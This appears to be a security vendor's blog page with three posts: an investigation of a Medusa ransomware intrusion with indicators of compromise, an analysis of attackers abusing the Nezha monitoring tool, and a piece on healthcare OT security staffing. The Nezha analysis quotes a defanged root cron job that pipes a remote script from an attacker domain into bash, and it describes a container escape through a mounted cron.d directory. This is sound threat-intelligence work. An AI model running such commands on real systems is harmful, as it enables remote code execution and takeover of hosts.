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June 10, 2024

Darktrace Investigation Into Medusa Ransomware

See how Darktrace empowers organizations to fight back against Medusa ransomware, enhancing their cybersecurity posture with advanced technology.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Maria Geronikolou
Cyber Analyst
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10
Jun 2024

What is Living off the Land attack?

In the face of increasingly vigilant security teams and adept defense tools, attackers are continually looking for new ways to circumvent network security and gain access to their target environments. One common tactic is the leveraging of readily available utilities and services within a target organization’s environment in order to move through the kill chain; a popular method known as living off the land (LotL). Rather than having to leverage known malicious tools or write their own malware, attackers are able to easily exploit the existing infrastructure of their targets.

The Medusa ransomware group in particular are known to extensively employ LotL tactics, techniques and procedures (TTPs) in their attacks, as one Darktrace customer in the US discovered in early 2024.

What is Medusa Ransomware?

Medusa ransomware (not to be confused with MedusaLocker) was first observed in the wild towards the end of 2022 and has been a popular ransomware strain amongst threat actors since 2023 [1]. Medusa functions as a Ransomware-as-a-Service (RaaS) platform, providing would-be attackers, also know as affiliates, with malicious software and infrastructure required to carry out disruptive ransomware attacks. The ransomware is known to target organizations across many different industries and countries around the world, including healthcare, education, manufacturing and retail, with a particular focus on the US [2].

How does Medusa Ransomware work?

Medusa affiliates are known to employ a number of TTPs to propagate their malware, most predominantly gaining initial access by exploiting vulnerable internet-facing assets and targeting valid local and domain accounts that are used for system administration.

The ransomware is typically delivered via phishing and spear phishing campaigns containing malicious attachments [3] [4], but it has also been observed using initial access brokers to access target networks [5]. In terms of the LotL strategies employed in Medusa compromises, affiliates are often observed leveraging legitimate services like the ConnectWise remote monitoring and management (RMM) software and PDQ Deploy, in order to evade the detection of security teams who may be unable to distinguish the activity from normal or expected network traffic [2].

According to researchers, Medusa has a public Telegram channel that is used by threat actors to post any data that may have been stolen, likely in an attempt to extort organizations and demand payment [2].  

Darktrace’s Coverage of Medusa Ransomware

Established Foothold and C2 activity

In March 2024, Darktrace / NETWORK identified over 80 devices, including an internet facing domain controller, on a customer network performing an unusual number of activities that were indicative of an emerging ransomware attack. The suspicious behavior started when devices were observed making HTTP connections to the two unusual endpoints, one of which is “go-sw6-02.adventos[.]de”, with the PowerShell and JWrapperDownloader user agents.

Darktrace’s Cyber AI Analyst™ launched an autonomous investigation into the connections and was able to connect the seemingly separate events into one wider incident spanning multiple different devices. This allowed the customer to visualize the activity in chronological order and gain a better understanding of the scope of the attack.

At this point, given the nature and rarity of the observed activity, Darktrace /NETWORK's autonomous response would have been expected to take autonomous action against affected devices, blocking them from making external connections to suspicious locations. However, autonomous response was not configured to take autonomous action at the time of the attack, meaning any mitigative actions had to be manually approved by the customer’s security team.

Internal Reconnaissance

Following these extensive HTTP connections, between March 1 and 7, Darktrace detected two devices making internal connection attempts to other devices, suggesting network scanning activity. Furthermore, Darktrace identified one of the devices making a connection with the URI “/nice ports, /Trinity.txt.bak”, indicating the use of the Nmap vulnerability scanning tool. While Nmap is primarily used legitimately by security teams to perform security audits and discover vulnerabilities that require addressing, it can also be leveraged by attackers who seek to exploit this information.

Darktrace / NETWORK model alert showing the URI “/nice ports, /Trinity.txt.bak”, indicating the use of Nmap.
Figure 1: Darktrace /NETWORK model alert showing the URI “/nice ports, /Trinity.txt.bak”, indicating the use of Nmap.

Darktrace observed actors using multiple credentials, including “svc-ndscans”, which was also seen alongside DCE-RPC activity that took place on March 1. Affected devices were also observed making ExecQuery and ExecMethod requests for IWbemServices. ExecQuery is commonly utilized to execute WMI Query Language (WQL) queries that allow the retrieval of information from WI, including system information or hardware details, while ExecMethod can be used by attackers to gather detailed information about a targeted system and its running processes, as well as a tool for lateral movement.

Lateral Movement

A few hours after the first observed scanning activity on March 1, Darktrace identified a chain of administrative connections between multiple devices, including the aforementioned internet-facing server.

Cyber AI Analyst was able to connect these administrative connections and separate them into three distinct ‘hops’, i.e. the number of administrative connections made from device A to device B, including any devices leveraged in between. The AI Analyst investigation was also able to link the previously detailed scanning activity to these administrative connections, identifying that the same device was involved in both cases.

Cyber AI Analyst investigation into the chain of lateral movement activity.
Figure 2: Cyber AI Analyst investigation into the chain of lateral movement activity.

On March 7, the internet exposed server was observed transferring suspicious files over SMB to multiple internal devices. This activity was identified as unusual by Darktrace compared to the device's normal SMB activity, with an unusual number of executable (.exe) and srvsvc files transferred targeting the ADMIN$ and IPC$ shares.

Cyber AI Analyst investigation into the suspicious SMB write activity.
Figure 3: Cyber AI Analyst investigation into the suspicious SMB write activity.
Graph highlighting the number of successful SMB writes and the associated model alerts.
Figure 4: Graph highlighting the number of successful SMB writes and the associated model alerts.

The threat actor was also seen writing SQLite3*.dll files over SMB using a another credential this time. These files likely contained the malicious payload that resulted in the customer’s files being encrypted with the extension “.s3db”.

Darktrace’s visibility over an affected device performing successful SMB writes.
Figure 5: Darktrace’s visibility over an affected device performing successful SMB writes.

Encryption of Files

Finally, Darktrace observed the malicious actor beginning to encrypt and delete files on the customer’s environment. More specifically, the actor was observed using credentials previously seen on the network to encrypt files with the aforementioned “.s3db” extension.

Darktrace’s visibility over the encrypted files.
Figure 6: Darktrace’s visibility over the encrypted files.


After that, Darktrace observed the attacker encrypting  files and appending them with the extension “.MEDUSA” while also dropping a ransom note with the file name “!!!Read_me_Medusa!!!.txt”

Darktrace’s detection of threat actors deleting files with the extension “.MEDUSA”.
Figure 7: Darktrace’s detection of threat actors deleting files with the extension “.MEDUSA”.
Darktrace’s detection of the Medusa ransom note.
Figure 8: Darktrace’s detection of the Medusa ransom note.

At the same time as these events, Darktrace observed the attacker utilizing a number of LotL techniques including SSL connections to “services.pdq[.]tools”, “teamviewer[.]com” and “anydesk[.]com”. While the use of these legitimate services may have bypassed traditional security tools, Darktrace’s anomaly-based approach enabled it to detect the activity and distinguish it from ‘normal’ network activity. It is highly likely that these SSL connections represented the attacker attempting to exfiltrate sensitive data from the customer’s network, with a view to using it to extort the customer.

Cyber AI Analyst’s detection of “services.pdq[.]tools” usage.
Figure 9: Cyber AI Analyst’s detection of “services.pdq[.]tools” usage.

If this customer had been subscribed to Darktrace's Proactive Threat Notification (PTN) service at the time of the attack, they would have been promptly notified of these suspicious activities by the Darktrace Security Operation Center (SOC). In this way they could have been aware of the suspicious activities taking place in their infrastructure before the escalation of the compromise. Despite this, they were able to receive assistance through the Ask the Expert service (ATE) whereby Darktrace’s expert analyst team was on hand to assist the customer by triaging and investigating the incident further, ensuring the customer was well equipped to remediate.  

As Darktrace /NETWORK's autonomous response was not enabled in autonomous response mode, this ransomware attack was able to progress to the point of encryption and data exfiltration. Had autonomous response been properly configured to take autonomous action, Darktrace would have blocked all connections by affected devices to both internal and external endpoints, as well as enforcing a previously established “pattern of life” on the device to stop it from deviating from its expected behavior.

Conclusion

The threat actors in this Medusa ransomware attack attempted to utilize LotL techniques in order to bypass human security teams and traditional security tools. By exploiting trusted systems and tools, like Nmap and PDQ Deploy, attackers are able to carry out malicious activity under the guise of legitimate network traffic.

Darktrace’s Self-Learning AI, however, allows it to recognize the subtle deviations in a device’s behavior that tend to be indicative of compromise, regardless of whether it appears legitimate or benign on the surface.

Further to the detection of the individual events that made up this ransomware attack, Darktrace’s Cyber AI Analyst was able to correlate the activity and collate it under one wider incident. This allowed the customer to track the compromise and its attack phases from start to finish, ensuring they could obtain a holistic view of their digital environment and remediate effectively.

[related-resource]

Appendices

Credit to Maria Geronikolou, Cyber Analyst, Ryan Traill, Threat Content Lead

Darktrace DETECT Model Detections

Anomalous Connection / SMB Enumeration

Device / Anomalous SMB Followed By Multiple Model Alerts

Device / Suspicious SMB Scanning Activity

Device / Attack and Recon Tools

Device / Suspicious File Writes to Multiple Hidden SMB Share

Compromise / Ransomware / Ransom or Offensive Words Written to SMB

Device / Internet Facing Device with High Priority Alert

Device / Network Scan

Anomalous Connection / Powershell to Rare External

Device / New PowerShell User Agent

Possible HTTP Command and Control

Extensive Suspicious DCE-RPC Activity

Possible SSL Command and Control to Multiple Endpoints

Suspicious Remote WMI Activity

Scanning of Multiple Devices

Possible Ransom Note Accessed over SMB

List of Indicators of Compromise (IoCs)

IoC – Type – Description + Confidence

207.188.6[.]17      -     IP address   -      C2 Endpoint

172.64.154[.]227 - IP address -        C2 Endpoint

go-sw6-02.adventos[.]de.  Hostname  - C2 Endpoint

.MEDUSA             -        File extension     - Extension to encrypted files

.s3db               -             File extension    -  Created file extension

SQLite3-64.dll    -        File           -               Used tool

!!!Read_me_Medusa!!!.txt - File -   Ransom note

Svc-ndscans         -         Credential     -     Possible compromised credential

Svc-NinjaRMM      -       Credential      -     Possible compromised credential

MITRE ATT&CK Mapping

Discovery  - File and Directory Discovery - T1083

Reconnaissance    -  Scanning IP            -          T1595.001

Reconnaissance -  Vulnerability Scanning -  T1595.002

Lateral Movement -Exploitation of Remote Service -  T1210

Lateral Movement - Exploitation of Remote Service -   T1210

Lateral Movement  -  SMB/Windows Admin Shares     -    T1021.002

Lateral Movement   -  Taint Shared Content          -            T1080

Execution   - PowerShell     - T1059.001

Execution  -   Service Execution   -    T1059.002

Impact   -    Data Encrypted for Impact  -  T1486

References

[1] https://unit42.paloaltonetworks.com

[2] https://thehackernews.com

[3] https://trustwave.com

[4] https://www.sangfor.com

[5] https://thehackernews.com

[6]https://any.run

Get the latest insights on emerging cyber threats

This report explores the latest trends shaping the cybersecurity landscape and what defenders need to know in 2026.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Maria Geronikolou
Cyber Analyst

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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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Nathaniel Bill
Malware Research Engineer

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

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Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

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Daniel Simonds
Director of Operational Technology
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